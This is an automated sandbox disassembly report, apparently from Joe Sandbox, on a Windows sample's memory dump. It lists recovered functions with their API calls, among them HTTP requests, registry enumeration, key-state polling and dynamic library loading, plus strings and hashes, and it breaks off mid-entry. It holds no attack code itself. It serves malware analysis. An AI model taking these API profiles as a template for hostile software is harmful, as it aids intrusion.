Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

Strings

ComboBox, xrefs: 00FD9380
ListBox, xrefs: 00FD93B5

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 10a772183fdaf3662315b6627364d49508075ce8b478cf2dc5943a8b99a41405
Instruction ID: 55f469bb5fffff0d4b4c58354b1dcf4102c0052876c479d6bed7027098139de1
Opcode Fuzzy Hash: 10a772183fdaf3662315b6627364d49508075ce8b478cf2dc5943a8b99a41405
Instruction Fuzzy Hash: 5B210471904204ABDB24ABB1CC859FFB76DDF06760F14821AF921972E1DB79490AB720

Function 00F8410D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00FBD5EC

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

_memset.LIBCMT ref: 00F8418D
_wcscpy.LIBCMT ref: 00F841E1
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00F841F1

Strings

Line: , xrefs: 00FBD615

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 3cd3f49675ea5f11f8cc23aae1755671ebdc2f69b6d2c0f93d507374a057abbd
Instruction ID: 228e65bc91399320dee72f58adda56f97e5d06f5158a1fe9963ee35bcea9a000
Opcode Fuzzy Hash: 3cd3f49675ea5f11f8cc23aae1755671ebdc2f69b6d2c0f93d507374a057abbd
Instruction Fuzzy Hash: B531C1B1508705ABD731FB60DD86BDB77E8AF45310F10451EB1C493091EF79A648EB92

Function 00FF1B21 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00FF1B40
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FF1B66
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00FF1B96
InternetCloseHandle.WININET(00000000), ref: 00FF1BDD

Part of subcall function 00FF2777: GetLastError.KERNEL32(?,?,00FF1B0B,00000000,00000000,00000001), ref: 00FF278C
Part of subcall function 00FF2777: SetEvent.KERNEL32(?,?,00FF1B0B,00000000,00000000,00000001), ref: 00FF27A1

Strings

, xrefs: 00FF1B87

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: b79d2a7948450f6b33badfdec31b67edd9c82ea4ef8605c2ecb493a544b3490c
Instruction ID: 4422b811a28995f99577a689d1383f8673552078ca9bca9c35d835307c24ca88
Opcode Fuzzy Hash: b79d2a7948450f6b33badfdec31b67edd9c82ea4ef8605c2ecb493a544b3490c
Instruction Fuzzy Hash: 5D21CFB290020CFFEB229F208C85EBF77ECFF89754F10011AF645E2250EA259D05A762

Function 01006656 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00F81D73
Part of subcall function 00F81D35: GetStockObject.GDI32(00000011), ref: 00F81D87
Part of subcall function 00F81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00F81D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 010066D0
LoadLibraryW.KERNEL32(?), ref: 010066D7
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 010066EC
DestroyWindow.USER32(?), ref: 010066F4

Strings

SysAnimate32, xrefs: 010066AB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: b0388f04517300f3a19c4a481601a4b808a954518dd9f01c6a8155f4234ee6b5
Instruction ID: d339005319e25b8b277c56cb6535e7bc05ba1ab966bbad2c0c47a62face1ce27
Opcode Fuzzy Hash: b0388f04517300f3a19c4a481601a4b808a954518dd9f01c6a8155f4234ee6b5
Instruction Fuzzy Hash: 2A218E71100206AFFF224F68EC80EAB77EEFB49368F104629FA95961D1D77398619760

Function 00FE703E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00FE705E
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00FE7091
GetStdHandle.KERNEL32(0000000C), ref: 00FE70A3
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00FE70DD

Strings

nul, xrefs: 00FE70D8

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: d56734935a6ce1e791a6bb272a7a10209cca99ad2a5d5d39a08ca25c684c64e9
Instruction ID: 16082d9661327aaa712f9adb4135a786eb6c232d2d28277bcaca11fe18d08282
Opcode Fuzzy Hash: d56734935a6ce1e791a6bb272a7a10209cca99ad2a5d5d39a08ca25c684c64e9
Instruction Fuzzy Hash: 3E21817590434AABDB30AF3ADC05A9A77A8AF54730F204619FEA1D72D0E7719940AB50

Function 00FE710C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00FE712B
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00FE715D
GetStdHandle.KERNEL32(000000F6), ref: 00FE716E
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00FE71A8

Strings

nul, xrefs: 00FE71A3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: f2e22b85d3680170441a03ffb57f9d9cffe1a902680109e92350729aeb4d488b
Instruction ID: f878b27c06db3f02d3e17d5b8b1389be2e19df46315cd0c8853ceac70e965ba7
Opcode Fuzzy Hash: f2e22b85d3680170441a03ffb57f9d9cffe1a902680109e92350729aeb4d488b
Instruction Fuzzy Hash: 5E21C875904386ABDB30AF6A9C04A9AB7E8AF55730F200619FCF0D72D0D7749841E750

Function 00FEAEAB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FEAEBF
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00FEAF13
__swprintf.LIBCMT ref: 00FEAF2C
SetErrorMode.KERNEL32(00000000,00000001,00000000,0100F910), ref: 00FEAF6A

Strings

%lu, xrefs: 00FEAF26

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: e92debb196e44c29324463976af919bcf0b9765308f01cefe376711e2df5d44c
Instruction ID: 418e0e793a43d93057752411387e68189fa3235c1b8f7eee7823419774daf7e1
Opcode Fuzzy Hash: e92debb196e44c29324463976af919bcf0b9765308f01cefe376711e2df5d44c
Instruction Fuzzy Hash: E7218331A00149AFCB20EF65CC85DEE7BB8EF89704B044069F949EB251DB75EA41EB61

Function 00FDA52F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

Part of subcall function 00FDA37C: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00FDA399
Part of subcall function 00FDA37C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FDA3AC
Part of subcall function 00FDA37C: GetCurrentThreadId.KERNEL32 ref: 00FDA3B3
Part of subcall function 00FDA37C: AttachThreadInput.USER32(00000000), ref: 00FDA3BA

GetFocus.USER32 ref: 00FDA554

Part of subcall function 00FDA3C5: GetParent.USER32(?), ref: 00FDA3D3

GetClassNameW.USER32(?,?,00000100), ref: 00FDA59D
EnumChildWindows.USER32(?,00FDA615), ref: 00FDA5C5
__swprintf.LIBCMT ref: 00FDA5DF

Strings

%s%d, xrefs: 00FDA5D9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 5b8ec63d4c019d537561bbbbd527018f40a072b8ed60044371d512208fb8f944
Instruction ID: 79bda910d2b9e44d3d76c39db8fcb1eb6e391f44d202e4ddfe883c72ddd35316
Opcode Fuzzy Hash: 5b8ec63d4c019d537561bbbbd527018f40a072b8ed60044371d512208fb8f944
Instruction Fuzzy Hash: 2011B771600305BBDF217F74DC85FEA377EAF48710F084066B9489A242CA799945BB79

Function 00FE2017 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00FE2048

Strings

KEYS, xrefs: 00FE205F
EXISTS, xrefs: 00FE2070
APPEND, xrefs: 00FE2081
REMOVE, xrefs: 00FE204E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 65f7044bc0ed2020147c1debcf4a4fe0ce467e35384208636bff2849fdf91a95
Instruction ID: 0e6170535a076a35177ef9959355bd614eb30575a6870cd6ab4c9a620eaf472d
Opcode Fuzzy Hash: 65f7044bc0ed2020147c1debcf4a4fe0ce467e35384208636bff2849fdf91a95
Instruction Fuzzy Hash: 05116D7190010ACFCF50EFA4DC815FEB7B8FF5A304B108458D995A72A2EB32A906EB50

Function 00FFEE69 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00FFEF1B
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00FFEF4B
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00FFF07E
CloseHandle.KERNEL32(?), ref: 00FFF0FF

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: e9d2dd6d4526e7a04297a74c5eac674581b0e7c317b68193ffe106c4ab12957e
Instruction ID: 81ba0084a5e30efd89ef75a5cfa1fdcb73f852cce4624956de3cbf81211980d7
Opcode Fuzzy Hash: e9d2dd6d4526e7a04297a74c5eac674581b0e7c317b68193ffe106c4ab12957e
Instruction Fuzzy Hash: C28171716043019FD720EF24CC86F6AB7E5AF48720F04881DF69ADB392DBB5AC059B51

Function 010002C2 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 010010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,01000038,?,?), ref: 010010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 01000388
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 010003C7
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0100040E
RegCloseKey.ADVAPI32(?,?), ref: 0100043A
RegCloseKey.ADVAPI32(00000000), ref: 01000447

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 5fb9188811f6618ec2e13c807f18277873ed5a47635697475f2c9e57f93472dc
Instruction ID: b279e6a3afccdb0ebb14797ca6e126c030284fbd4793fdd0746ebc808372618a
Opcode Fuzzy Hash: 5fb9188811f6618ec2e13c807f18277873ed5a47635697475f2c9e57f93472dc
Instruction Fuzzy Hash: B6516771208201AFE715EB68CC81FAEB7E8FF88704F04891EB59587291DB39E905DB52

Function 00FFDBDC Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00FFDC3B
GetProcAddress.KERNEL32(00000000,?), ref: 00FFDCBE
GetProcAddress.KERNEL32(00000000,00000000), ref: 00FFDCDA
GetProcAddress.KERNEL32(00000000,?), ref: 00FFDD1B
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00FFDD35

Part of subcall function 00F85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00FE7B20,?,?,00000000), ref: 00F85B8C
Part of subcall function 00F85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00FE7B20,?,?,00000000,?,?), ref: 00F85BB0

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: feebeb3909414f1461eeeaef2983b197d7831fcdeb0def2b0fca05b5be0b8b15
Instruction ID: ad37509fa9fcf4233a46399cdbba16e0e9777c3321e31295c32f1568d1ada952
Opcode Fuzzy Hash: feebeb3909414f1461eeeaef2983b197d7831fcdeb0def2b0fca05b5be0b8b15
Instruction Fuzzy Hash: 2F514935A002099FCB10EF68C8849EDB7F5FF59720B088059E915AB321DB79ED45EF91

Function 00FEE7DC Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00FEE88A
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00FEE8B3
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00FEE8F2

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00FEE917
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00FEE91F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: adab58127cc7a2465205698b4323d37c6873e1bd2b0ffcb48da9bfdb31cf8664
Instruction ID: e65c65cb84a1eb958606bf46f2f9c5fc3cd95a2c83fb50cade3bf6056c64fe26
Opcode Fuzzy Hash: adab58127cc7a2465205698b4323d37c6873e1bd2b0ffcb48da9bfdb31cf8664
Instruction Fuzzy Hash: 6B512A35A00205DFCB11EF65C985AAEBBF5EF09310F188099E849AB362CB75ED11EB50

Function 0100A2C5 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdaa9037a2a3d1a4e6bdba098b738d8d9a45755dddc0e9af395de3f819af49c3
Instruction ID: 1480250164bc08ce810f631d5d7df3a3858071b7941f6b7d4492321b4d81843f
Opcode Fuzzy Hash: fdaa9037a2a3d1a4e6bdba098b738d8d9a45755dddc0e9af395de3f819af49c3
Instruction Fuzzy Hash: 8341C275A00304EBF762DB2CCC44FA9BBA4FB09310F0582A5FA95A72D1DBB5A9419B50

Function 00F82344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00F82357
ScreenToClient.USER32(010467B0,?), ref: 00F82374
GetAsyncKeyState.USER32(00000001), ref: 00F82399
GetAsyncKeyState.USER32(00000002), ref: 00F823A7

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 8453a2fb31d35165628065898f32a555fa7028906fcd9aead503a95213f84280
Instruction ID: 0301f35bc6cac829817e39c7aaedd8c535e9eb80ea04b342fcc739e7e5085fce
Opcode Fuzzy Hash: 8453a2fb31d35165628065898f32a555fa7028906fcd9aead503a95213f84280
Instruction Fuzzy Hash: FF417F7590411AFBDF299FA9C844AEEBB74FB05320F20431AF868A2290C7356954EFD1

Function 00FD6920 Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FD695D
TranslateAcceleratorW.USER32(?,?,?), ref: 00FD69A9
TranslateMessage.USER32(?), ref: 00FD69D2
DispatchMessageW.USER32(?), ref: 00FD69DC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FD69EB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: f49a0f6ac76d5a1e526ac76474ff711ae0b28e5c6dbc3dde6648120913fb2226
Instruction ID: d72774a0235a88d788294100756038abc2f19f5e73a6a1291846ded2f1015f58
Opcode Fuzzy Hash: f49a0f6ac76d5a1e526ac76474ff711ae0b28e5c6dbc3dde6648120913fb2226
Instruction Fuzzy Hash: BE31E7B1900206ABDB30DF74DC84BB67BA9AB06320F184167E4A1D3295E73F9845F751

Function 00FD8F01 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00FD8F12
PostMessageW.USER32(?,00000201,00000001), ref: 00FD8FBC
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00FD8FC4
PostMessageW.USER32(?,00000202,00000000), ref: 00FD8FD2
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00FD8FDA

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
